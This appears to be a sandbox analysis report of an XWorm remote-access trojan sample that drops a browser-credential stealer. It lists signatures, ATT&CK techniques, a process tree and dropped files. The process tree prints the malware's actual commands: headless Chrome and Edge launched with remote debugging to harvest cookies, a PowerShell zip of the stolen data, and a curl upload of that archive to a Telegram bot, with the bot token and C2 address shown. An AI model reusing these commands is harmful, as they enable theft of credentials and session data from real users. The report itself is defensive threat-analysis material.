xworm | 862d4d731b448e3fcc22f80f87e4710b89bafa3bb40eb8fa24414d976d7147d4

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20251231-en
resource tags

arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
submitted
12/01/2026, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Output.exe
Size 3.1MB
Sample260112-slmc4afs6e
SHA256 862d4d731b448e3fcc22f80f87e4710b89bafa3bb40eb8fa24414d976d7147d4
MD5 6b0e55a3a85c9ddba779e25da9c6d54d
SHA1 e0fa0a31c5486598c045a59ff949aa3fd1398322
SHA512 6c9663e4dc64770ceff7e55e2839ea28ed21826c6d398f56ff906857e371a9456362f2e526519316fc2dd04bebfdea376b6aaef75c3954ee90cf45e117df631f
SSDEEP 98304:NLRyNHLleIvfyej8pA0i0R1nB+9fox4o9eoQuy+:NLoNHLleEy8+9i0RdB+Roxr91Quf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

credential_access discovery execution xworm rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

101.99.91.150:56001

Mutex

XKLpARFsbWSHuECD

Attributes

Install_directory
%AppData%
install_file
XClient.exe
telegram
https://api.telegram.org/bot8098079243:AAGB6E_Jm4fDcCKAE3yuQ12XJEr1Lu-oGCo/sendMessage?chat_id=6322330661

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001a00000002b345-13.dat	family_xworm
behavioral2/memory/5116-21-0x0000000000EF0000-0x0000000000F00000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Uses browser remote debugging 2 TTPs 7 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4168	chrome.exe
2244	chrome.exe
3848	msedge.exe
5736	msedge.exe
5464	msedge.exe
416	chrome.exe
5100	chrome.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe

Executes dropped EXE 2 IoCs

pid	Process
5480	Sryxen-Stealer-Rewrite.exe
5116	XClient.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3652	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
240	chrome.exe
2104	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134127043834410886"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3622034013-663316015-3001627260-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5480	Sryxen-Stealer-Rewrite.exe
5480	Sryxen-Stealer-Rewrite.exe
5480	Sryxen-Stealer-Rewrite.exe
5480	Sryxen-Stealer-Rewrite.exe
416	chrome.exe
416	chrome.exe
5116	XClient.exe
5480	Sryxen-Stealer-Rewrite.exe
5480	Sryxen-Stealer-Rewrite.exe
3652	powershell.exe
3652	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	XClient.exe
Token: SeShutdownPrivilege	416	chrome.exe
Token: SeCreatePagefilePrivilege	416	chrome.exe
Token: SeShutdownPrivilege	416	chrome.exe
Token: SeCreatePagefilePrivilege	416	chrome.exe
Token: SeShutdownPrivilege	416	chrome.exe
Token: SeCreatePagefilePrivilege	416	chrome.exe
Token: SeShutdownPrivilege	416	chrome.exe
Token: SeCreatePagefilePrivilege	416	chrome.exe
Token: SeDebugPrivilege	3652	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
416	chrome.exe
3848	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5116	XClient.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4976 wrote to memory of 5480	4976	Output.exe	77
PID 4976 wrote to memory of 5116	4976	Output.exe	78
PID 5480 wrote to memory of 416	5480	Sryxen-Stealer-Rewrite.exe	79
PID 416 wrote to memory of 5892	416	chrome.exe	80
PID 416 wrote to memory of 5400	416	chrome.exe	81
PID 416 wrote to memory of 240	416	chrome.exe	82
PID 416 wrote to memory of 236	416	chrome.exe	83
PID 416 wrote to memory of 4168	416	chrome.exe	85
PID 416 wrote to memory of 5100	416	chrome.exe	86
PID 416 wrote to memory of 2244	416	chrome.exe	88
PID 416 wrote to memory of 1692	416	chrome.exe	89
PID 5480 wrote to memory of 3848	5480	Sryxen-Stealer-Rewrite.exe	91
PID 3848 wrote to memory of 2216	3848	msedge.exe	92
PID 3848 wrote to memory of 4336	3848	msedge.exe	93
PID 3848 wrote to memory of 2104	3848	msedge.exe	94
PID 3848 wrote to memory of 4044	3848	msedge.exe	96
PID 3848 wrote to memory of 5464	3848	msedge.exe	97
PID 3848 wrote to memory of 5736	3848	msedge.exe	98
PID 5480 wrote to memory of 3652	5480	Sryxen-Stealer-Rewrite.exe	99
PID 5480 wrote to memory of 2288	5480	Sryxen-Stealer-Rewrite.exe	101

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4976
- C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe
  "C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=33587 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
    3⤵
    - Uses browser remote debugging
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ff81e5cc728,0x7ff81e5cc734,0x7ff81e5cc740
      4⤵
      PID:5892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=1736 /prefetch:2
      4⤵
      PID:5400
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=1868 /prefetch:11
      4⤵
      System Time Discovery
      PID:240
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2148 /prefetch:13
      4⤵
      PID:236
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2876 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4168
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2880 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5100
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=3668 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2244
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=4636 /prefetch:14
      4⤵
      PID:1692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-debugging-port=41233 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
    3⤵
    - Uses browser remote debugging
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2e4,0x7ff80a77c188,0x7ff80a77c194,0x7ff80a77c1a0
      4⤵
      PID:2216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:2
      4⤵
      PID:4336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:11
      4⤵
      System Time Discovery
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:13
      4⤵
      PID:4044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=41233 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=41233 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3652
- - C:\Windows\SYSTEM32\curl.exe
    curl -F "chat_id=6322330661" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8098079243:AAGB6E_Jm4fDcCKAE3yuQ12XJEr1Lu-oGCo/sendDocument
    3⤵
    PID:2288
- C:\Users\Admin\AppData\Roaming\XClient.exe
  "C:\Users\Admin\AppData\Roaming\XClient.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5116

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1584

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
Size 106B
SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
MD5 de9ef0c5bcc012a3a1131988dee272d8
SHA1 fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA512 cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
TLSH
T1AAB0112033FC0228F3F38200AE333BA00F3FF8230000022CA008228808B38288880FB3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 84KB
SHA256 ba4de0bd693ad50228cfad997fcd53bf57711d36d523dee78d2a0b62fc9df031
MD5 0f9c1ab66588b5df4a9e8fbdf3f2623f
SHA1 65209a0505984002583283c740b660aff4eb45e3
SHA512 79223145ea054ef2967000102ebb934f2a0fc98677b5375076d83f0b2be2e153dcba45f7a303865fcfc0a76ad85021f817b628cec5c9a69e99e518f5c9658414
SSDEEP 1536:EVxC6wySzlcl92uqWCh1AOTFzXE8ICAiFziTiw9OEYc4VRi+I/Ymqq0l:oxHwL54VOF7pUiw9OTvwqhl
TLSH
T12D8301136E55BEAF997BABDE6B890FAFC5B1468350096B4C439E4EB4428206943F4308
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7cddddf659a2b6181ac6429aa54fdf5b35c8aca8100eed5d090ef52054680872
MD5 359452a22b31ee81cb6eb8d00d3c2e8d
SHA1 90975810610d413b5fa234febc6a08ab2fe6dd44
SHA512 63c3d0d29c7cec9f349777f487e0b94081ba141ccf0566941e3265ba438c0d84ef7444cfebb9bd34a4f5b880c1acdc0701fac8116488dd31e79db5947c5c2c70
TLSH
T129D0223846224C16C1C981B12042B60830E8C02800839A0030F3692C0C50E8314AF4C4
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 20728939d3c5c74b053d9f1e4af3ae04bb86a410b7497ab28f4f70b6fa155fe9
MD5 ab3b6de6e564afd0959e33ed18c89392
SHA1 9c9564ea599b611a419fa5cb7ce55faee52cc5d8
SHA512 ae2adc80f37422aed6a31b44fd88e3d8a27de49f9020b2c62186b7ab700773141a2455b81af91c6e39b17eeb4dc10a6ea69886ee1d6d8c7678a909bc85b3c30b
TLSH
T1C6D0127956665C16C1DD85B56146B61870D8C42944839A0031F7695C1D51E8754AF4C5
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

f831c489-1dc9-4a07-a8d0-9f5f2a8ba340.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\f831c489-1dc9-4a07-a8d0-9f5f2a8ba340.tmp
Size 22KB
SHA256 e5c2d3e75b865ba12bb05b3a4a1af7950987fee561c5b2043e1f5c3343de69cc
MD5 0345858360993cf11a30b5aef110b795
SHA1 a59e34477a6a593308d0a864018459e2a781668d
SHA512 9c0be35e6645847f4db2082819daba21da8173bb8b969878872936baf025a71af335076809282f9d6d58fe0828ffca520b150a0250b11eea203ddece77628963
SSDEEP 384:niiFavqMg38N98TUNTUlIxByQUvrkcQyofSazTDYhFdcxatk0vI+tg:pFayv3qwgyQU4c/Ks/0yXg
TLSH
T17CA21975DC95D9A7EDEA8FCAA74A7702EEF001A7C58C4AD4D9D81D0D00871EE130BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DgUKGzS.db

Path C:\Users\Admin\AppData\Local\Temp\DgUKGzS.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JQ8Vop5.db

Path C:\Users\Admin\AppData\Local\Temp\JQ8Vop5.db
Size 56KB
SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
MD5 fe8c5fb9ed4218996d10e03d7f45f1ec
SHA1 e394d2de480259243fde14f8ecbf7682f7c845e5
SHA512 66f8bc3f3f092a9395f079ff000acf492ca96d51790c1265ac2e555a771fe2705b20e12a964884f27d333649c6a003a2a473dae74107b51730c0cf2d737dd46e
SSDEEP 96:dpfmG38t8KLPeymO7CGr8M5bn8MouB6w9fUPetSEPfNy:dpD07CGr8MV7Iw9f1N
TLSH
T1DA43771F1B682802CC698632ACB194F36F7CA13F8F539E922CB444359D75862B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_zgj4x55b.skf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgj4x55b.skf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Sryxen-Stealer-Rewrite.exe

